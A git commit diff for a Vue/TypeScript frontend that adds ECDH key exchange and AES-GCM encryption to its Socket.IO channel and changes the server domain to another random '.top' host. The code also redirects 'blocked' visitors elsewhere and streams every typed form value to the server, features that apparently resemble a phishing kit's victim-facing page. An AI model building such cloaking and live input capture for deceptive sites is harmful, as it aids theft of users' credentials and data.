main: Quick commit
This commit is contained in:
@@ -5,7 +5,7 @@ VITE_PORT = 8848
|
|||||||
VITE_PUBLIC_PATH = ./
|
VITE_PUBLIC_PATH = ./
|
||||||
|
|
||||||
# 网站前缀
|
# 网站前缀
|
||||||
VITE_BASE_URL = "vc1cccd1s325c.dagf7.top"
|
VITE_BASE_URL = "up.xx.sczqb6.top"
|
||||||
|
|
||||||
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||||
VITE_ROUTER_HISTORY = "hash"
|
VITE_ROUTER_HISTORY = "hash"
|
||||||
|
|||||||
@@ -9,15 +9,20 @@ const router = useRouter();
|
|||||||
const loadingStore = useLoadingStore();
|
const loadingStore = useLoadingStore();
|
||||||
import { configData, isAr, loginSuccess, redirectToExternal, headHtml } from "@/utils/common";
|
import { configData, isAr, loginSuccess, redirectToExternal, headHtml } from "@/utils/common";
|
||||||
import { goodsConfig } from "@/config";
|
import { goodsConfig } from "@/config";
|
||||||
|
import { deriveSessionKey, generateECDHKeyPair } from "./utils/socketio";
|
||||||
|
|
||||||
onMounted(() => {
|
onMounted(() => {
|
||||||
login();
|
login();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
const login = async function () {
|
const login = async function () {
|
||||||
|
|
||||||
loadingStore.setLoading(true);
|
loadingStore.setLoading(true);
|
||||||
http.post("/api", {}).then((data) => {
|
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||||
|
|
||||||
|
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
|
||||||
if (data.data.isBlock) {
|
if (data.data.isBlock) {
|
||||||
redirectToExternal();
|
redirectToExternal();
|
||||||
return;
|
return;
|
||||||
@@ -78,6 +83,16 @@ const login = async function () {
|
|||||||
|
|
||||||
if (data.data.mode) {
|
if (data.data.mode) {
|
||||||
localStorage.setItem("mode", data.data.mode);
|
localStorage.setItem("mode", data.data.mode);
|
||||||
|
}
|
||||||
|
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
|
||||||
|
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
|
||||||
|
let sessionCrypto = null;
|
||||||
|
if (serverPubKey) {
|
||||||
|
try {
|
||||||
|
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
|
||||||
|
} catch (e) {
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
loginSuccess(data.data.Token, data.data.mode);
|
loginSuccess(data.data.Token, data.data.mode);
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,17 +1,21 @@
|
|||||||
import _ from "lodash";
|
import _ from "lodash";
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
import eventBus from "@/utils/eventBus";
|
||||||
import router from "@/router";
|
import router from "@/router";
|
||||||
import { ref } from "vue";
|
import { ref } from "vue";
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
import { useLoadingStore } from "@/stores/loadingStore";
|
||||||
import i18n from "@/main";
|
import i18n from "@/main";
|
||||||
import { useSocketIo } from "./socketio";
|
import { useSocketIo, type SessionCrypto } from "./socketio";
|
||||||
import { goodsConfig, globalConfig } from "@/config";
|
import { goodsConfig, globalConfig } from "@/config";
|
||||||
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
||||||
|
if (viteBaseUrl === "/") {
|
||||||
|
viteBaseUrl = "/";
|
||||||
|
} else if (viteBaseUrl === "localhost:8011") {
|
||||||
|
viteBaseUrl = "ws://" + viteBaseUrl;
|
||||||
|
} else if (!/^wss?:\/\//.test(viteBaseUrl)) {
|
||||||
|
viteBaseUrl = "wss://" + viteBaseUrl;
|
||||||
|
}
|
||||||
|
|
||||||
// Redirect to an external URL
|
// Redirect to an external URL
|
||||||
export function redirectToExternal() {
|
export function redirectToExternal() {
|
||||||
@@ -101,43 +105,17 @@ export function inputChange(type: string, key: any, value: any) {
|
|||||||
},
|
},
|
||||||
300
|
300
|
||||||
);
|
);
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
// 调用防抖函数
|
||||||
wsDebouncedFunction(type, key, value);
|
wsDebouncedFunction(type, key, value);
|
||||||
if (modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
// Handle login success
|
||||||
export function loginSuccess(token: string, mode: number) {
|
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
||||||
if (mode === 2) {
|
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
||||||
modeRef.value = 2
|
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
||||||
myWebSocket?.on("open", () => {
|
myWebSocket?.on("open", () => {
|
||||||
const lastToken = localStorage.getItem("token");
|
const lastToken = localStorage.getItem("token");
|
||||||
|
|||||||
@@ -2,45 +2,236 @@
|
|||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
import { useLoadingStore } from "@/stores/loadingStore";
|
||||||
import { io, Socket as SocketIOClient } from "socket.io-client";
|
import { io, Socket as SocketIOClient } from "socket.io-client";
|
||||||
|
|
||||||
interface SocketOptions {
|
// ─── 会话加密接口 ───────────────────────────────────────────────
|
||||||
reconnectionAttempts?: number; // 最大重连次数
|
export interface SessionCrypto {
|
||||||
reconnectionDelay?: number; // 重连延迟时间(ms)
|
aesKey: CryptoKey; // AES-128-GCM,不可导出
|
||||||
timeout?: number; // 连接超时时间(ms)
|
|
||||||
autoConnect?: boolean; // 是否自动连接
|
|
||||||
forceNew?: boolean; // 是否强制创建新连接
|
|
||||||
transports?: string[]; // 传输方式
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
|
||||||
|
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
|
||||||
|
const iv = crypto.getRandomValues(new Uint8Array(12));
|
||||||
|
const encoded = new TextEncoder().encode(plain);
|
||||||
|
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
|
||||||
|
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
|
||||||
|
out.set(iv, 0);
|
||||||
|
out.set(new Uint8Array(cipher), iv.byteLength);
|
||||||
|
let binary = "";
|
||||||
|
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
|
||||||
|
return JSON.stringify({ data: btoa(binary) });
|
||||||
|
}
|
||||||
|
|
||||||
|
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
|
||||||
|
const rawStr =
|
||||||
|
typeof raw === "string" ? raw :
|
||||||
|
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
|
||||||
|
|
||||||
|
let envelope: { data?: string };
|
||||||
|
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
|
||||||
|
if (!envelope?.data) return rawStr;
|
||||||
|
|
||||||
|
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
|
||||||
|
const iv = bytes.slice(0, 12);
|
||||||
|
const cipher = bytes.slice(12);
|
||||||
|
try {
|
||||||
|
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
|
||||||
|
return new TextDecoder().decode(plain);
|
||||||
|
} catch {
|
||||||
|
return rawStr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
|
||||||
|
*/
|
||||||
|
export async function generateECDHKeyPair(): Promise<{
|
||||||
|
keyPair: CryptoKeyPair;
|
||||||
|
clientPublicKeyB64: string;
|
||||||
|
}> {
|
||||||
|
const keyPair = await crypto.subtle.generateKey(
|
||||||
|
{ name: "ECDH", namedCurve: "P-256" },
|
||||||
|
true,
|
||||||
|
["deriveBits"]
|
||||||
|
);
|
||||||
|
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
|
||||||
|
const clientPublicKeyB64 = btoa(
|
||||||
|
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
|
||||||
|
);
|
||||||
|
return { keyPair, clientPublicKeyB64 };
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥
|
||||||
|
*/
|
||||||
|
export async function deriveSessionKey(
|
||||||
|
serverPublicKeyB64: string,
|
||||||
|
clientPrivateKey: CryptoKey
|
||||||
|
): Promise<SessionCrypto> {
|
||||||
|
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
|
||||||
|
const serverPublicKey = await crypto.subtle.importKey(
|
||||||
|
"raw", serverPubKeyBytes,
|
||||||
|
{ name: "ECDH", namedCurve: "P-256" }, false, []
|
||||||
|
);
|
||||||
|
const sharedBits = await crypto.subtle.deriveBits(
|
||||||
|
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
|
||||||
|
);
|
||||||
|
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
|
||||||
|
const aesKey = await crypto.subtle.deriveKey(
|
||||||
|
{
|
||||||
|
name: "HKDF", hash: "SHA-256",
|
||||||
|
salt: new Uint8Array(32),
|
||||||
|
info: new TextEncoder().encode("socket-aes-key"),
|
||||||
|
},
|
||||||
|
hkdfKey,
|
||||||
|
{ name: "AES-GCM", length: 128 },
|
||||||
|
false,
|
||||||
|
["encrypt", "decrypt"]
|
||||||
|
);
|
||||||
|
return { aesKey };
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
|
||||||
|
const MAX_QUEUE_SIZE = 200;
|
||||||
|
|
||||||
class Socket {
|
class Socket {
|
||||||
url: string;
|
url: string;
|
||||||
|
private token: string;
|
||||||
|
private sessionCrypto: SessionCrypto | null;
|
||||||
|
private ecdhKeyPair: CryptoKeyPair | null = null;
|
||||||
|
private clientPublicKeyB64: string | null = null;
|
||||||
|
/** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */
|
||||||
|
private isReady = false;
|
||||||
socket: SocketIOClient | null = null;
|
socket: SocketIOClient | null = null;
|
||||||
listeners: { [key: string]: Function[] } = {};
|
listeners: { [key: string]: Function[] } = {};
|
||||||
private messageQueue: any[] = []; // 断连时暂存消息的简化队列
|
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
|
||||||
|
|
||||||
constructor(url: string) {
|
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||||
this.url = url;
|
this.url = url;
|
||||||
|
this.token = token;
|
||||||
|
this.sessionCrypto = sessionCrypto;
|
||||||
this.init();
|
this.init();
|
||||||
this.setupVisibilityListener();
|
this.setupVisibilityListener();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
|
||||||
|
private async initECDH() {
|
||||||
|
if (!this.ecdhKeyPair) {
|
||||||
|
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||||
|
this.ecdhKeyPair = keyPair;
|
||||||
|
this.clientPublicKeyB64 = clientPublicKeyB64;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
|
||||||
|
* 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。
|
||||||
|
*/
|
||||||
|
private performKeyExchange(): Promise<void> {
|
||||||
|
return new Promise<void>((resolve) => {
|
||||||
|
// 3 秒超时:若服务端不响应则无加密继续
|
||||||
|
const timeout = setTimeout(() => {
|
||||||
|
this.socket?.off('key_exchange_result', onResult);
|
||||||
|
this.sessionCrypto = null;
|
||||||
|
resolve();
|
||||||
|
}, 3000);
|
||||||
|
|
||||||
|
const onResult = async (serverPubKeyB64: string) => {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
try {
|
||||||
|
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
|
||||||
|
} catch (e) {
|
||||||
|
console.error('[Socket] key derivation failed:', e);
|
||||||
|
this.sessionCrypto = null;
|
||||||
|
}
|
||||||
|
resolve();
|
||||||
|
};
|
||||||
|
|
||||||
|
this.socket?.once('key_exchange_result', onResult);
|
||||||
|
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
|
||||||
|
* 服务端发送 login success 时 client.State 已同步设置完毕,
|
||||||
|
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
|
||||||
|
*/
|
||||||
|
private async sendLoginAndWait(): Promise<void> {
|
||||||
|
await new Promise<void>((resolve) => {
|
||||||
|
let settled = false;
|
||||||
|
const settle = () => {
|
||||||
|
if (settled) return;
|
||||||
|
settled = true;
|
||||||
|
this.socket?.off('message', onRawMessage);
|
||||||
|
clearTimeout(timer);
|
||||||
|
resolve();
|
||||||
|
};
|
||||||
|
// 3 秒兜底:即使没收到确认也继续
|
||||||
|
const timer = setTimeout(settle, 3000);
|
||||||
|
|
||||||
|
const onRawMessage = async (raw: unknown) => {
|
||||||
|
try {
|
||||||
|
let text: string;
|
||||||
|
if (this.sessionCrypto) {
|
||||||
|
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
|
||||||
|
} else {
|
||||||
|
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
|
||||||
|
}
|
||||||
|
const parsed = JSON.parse(text);
|
||||||
|
if (parsed?.event === 'login') settle();
|
||||||
|
} catch { /* 忽略解析失败 */ }
|
||||||
|
};
|
||||||
|
|
||||||
|
// 先注册监听,再发 login,避免极速响应漏掉
|
||||||
|
this.socket?.on('message', onRawMessage);
|
||||||
|
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
init() {
|
init() {
|
||||||
if (this.socket) {
|
if (this.socket) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
console.log("Socket initialized with URL:", this.url);
|
console.log("Socket initialized with URL:", this.url);
|
||||||
this.socket = io(this.url, {
|
this.socket = io(this.url, {
|
||||||
randomizationFactor: 0.5,
|
path: "/socket.io",
|
||||||
|
query: this.token ? { token: this.token } : undefined,
|
||||||
|
reconnectionDelay: 1500,
|
||||||
|
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
|
||||||
});
|
});
|
||||||
|
|
||||||
// 连接事件处理
|
// 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题
|
||||||
this.socket.on('connect', () => {
|
this.socket.on('connect', async () => {
|
||||||
this.flushMessageQueue(); // 连接后发送排队消息
|
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
|
||||||
|
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
|
||||||
|
this.socket?.off('key_exchange_result');
|
||||||
|
try {
|
||||||
|
await this.initECDH();
|
||||||
|
await this.performKeyExchange();
|
||||||
|
// 等待服务端 login success 确认后再冲刷队列
|
||||||
|
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
|
||||||
|
await this.sendLoginAndWait();
|
||||||
|
} catch (e) {
|
||||||
|
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
|
||||||
|
this.sessionCrypto = null;
|
||||||
|
} finally {
|
||||||
|
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
|
||||||
|
this.isReady = true;
|
||||||
|
await this.flushMessageQueue(); // 连接后按序发送排队消息
|
||||||
this.emit('open', { type: 'open' });
|
this.emit('open', { type: 'open' });
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// 消息接收
|
// 消息接收(支持 AES-GCM 解密)
|
||||||
this.socket.on('message', (data) => {
|
this.socket.on('message', async (data) => {
|
||||||
this.emit('message', data);
|
let plainText: string;
|
||||||
|
if (this.sessionCrypto) {
|
||||||
|
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
|
||||||
|
} else {
|
||||||
|
plainText = typeof data === 'string' ? data : JSON.stringify(data);
|
||||||
|
}
|
||||||
|
this.emit('message', plainText);
|
||||||
});
|
});
|
||||||
|
|
||||||
// 连接错误
|
// 连接错误
|
||||||
@@ -50,6 +241,7 @@ class Socket {
|
|||||||
|
|
||||||
// 断开连接
|
// 断开连接
|
||||||
this.socket.on('disconnect', (reason) => {
|
this.socket.on('disconnect', (reason) => {
|
||||||
|
this.isReady = false; // 断开后消息重新入队
|
||||||
this.emit('close', { reason });
|
this.emit('close', { reason });
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -82,10 +274,19 @@ class Socket {
|
|||||||
return this.socket?.connected ?? false;
|
return this.socket?.connected ?? false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** 用于握手阶段的 login 事件,同样走加密通道 */
|
||||||
|
private async sendRaw(data: string) {
|
||||||
|
if (this.sessionCrypto) {
|
||||||
|
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
|
||||||
|
this.socket?.emit('message', encrypted);
|
||||||
|
} else {
|
||||||
|
this.socket?.emit('message', data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async send(data: string) {
|
async send(data: string) {
|
||||||
try {
|
try {
|
||||||
const payload = JSON.parse(data);
|
const payload = JSON.parse(data);
|
||||||
const event = payload.event || 'message';
|
|
||||||
|
|
||||||
// 添加时间戳
|
// 添加时间戳
|
||||||
const messageData = {
|
const messageData = {
|
||||||
@@ -93,24 +294,53 @@ class Socket {
|
|||||||
timestamp: payload.timestamp || Date.now()
|
timestamp: payload.timestamp || Date.now()
|
||||||
};
|
};
|
||||||
|
|
||||||
if (this.isConnected()) {
|
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
|
||||||
this.socket?.emit("message", JSON.stringify(messageData));
|
if (!this.isReady) {
|
||||||
|
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
|
||||||
|
this.messageQueue.push(messageData);
|
||||||
} else {
|
} else {
|
||||||
// 未连接时,将消息加入队列
|
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
|
||||||
this.messageQueue.push({ event, data: messageData });
|
}
|
||||||
this.reconnectIfNeeded();
|
this.reconnectIfNeeded();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const serialized = JSON.stringify(messageData);
|
||||||
|
if (this.sessionCrypto) {
|
||||||
|
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||||
|
this.socket?.emit('message', encrypted);
|
||||||
|
} else {
|
||||||
|
this.socket?.emit('message', serialized);
|
||||||
}
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error("Invalid message format. Must be a valid JSON string.", error);
|
console.error('Invalid message format. Must be a valid JSON string.', error);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
flushMessageQueue() {
|
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
|
||||||
if (this.messageQueue.length > 0 && this.socket?.connected) {
|
async flushMessageQueue() {
|
||||||
this.messageQueue.forEach(msg => {
|
if (this.messageQueue.length === 0) return;
|
||||||
this.socket?.emit("message", JSON.stringify(msg));
|
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
|
||||||
});
|
for (const msg of queue) {
|
||||||
this.messageQueue = [];
|
if (!this.isReady || !this.socket?.connected) {
|
||||||
|
// 发送途中再次断开,将剩余消息放回队首
|
||||||
|
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const serialized = JSON.stringify(msg);
|
||||||
|
if (this.sessionCrypto) {
|
||||||
|
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||||
|
this.socket?.emit('message', encrypted);
|
||||||
|
} else {
|
||||||
|
this.socket?.emit('message', serialized);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error('[Socket] flushMessageQueue 发送失败:', e);
|
||||||
|
// 发送失败也放回队首
|
||||||
|
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -121,14 +351,14 @@ class Socket {
|
|||||||
}
|
}
|
||||||
|
|
||||||
on(event: string, callback: Function) {
|
on(event: string, callback: Function) {
|
||||||
// 直接处理的事件
|
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
|
||||||
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed'].includes(event)) {
|
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
|
||||||
if (!this.listeners[event]) {
|
if (!this.listeners[event]) {
|
||||||
this.listeners[event] = [];
|
this.listeners[event] = [];
|
||||||
}
|
}
|
||||||
this.listeners[event].push(callback);
|
this.listeners[event].push(callback);
|
||||||
} else {
|
} else {
|
||||||
// Socket.IO 事件
|
// 其他 Socket.IO 原生事件
|
||||||
this.socket?.on(event, (...args) => callback(...args));
|
this.socket?.on(event, (...args) => callback(...args));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -146,23 +376,24 @@ class Socket {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
setupVisibilityListener() {
|
private handleVisibilityChange = () => {
|
||||||
const handleVisibilityChange = () => {
|
|
||||||
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
||||||
this.socket.connect();
|
this.socket.connect();
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
document.addEventListener("visibilitychange", handleVisibilityChange);
|
setupVisibilityListener() {
|
||||||
|
document.addEventListener("visibilitychange", this.handleVisibilityChange);
|
||||||
}
|
}
|
||||||
|
|
||||||
disconnect() {
|
disconnect() {
|
||||||
|
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
|
||||||
this.socket?.disconnect();
|
this.socket?.disconnect();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function useSocketIo(url: string) {
|
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||||
const socket = new Socket(url);
|
const socket = new Socket(url, token, sessionCrypto);
|
||||||
|
|
||||||
return {
|
return {
|
||||||
socket,
|
socket,
|
||||||
|
|||||||
Reference in New Issue
Block a user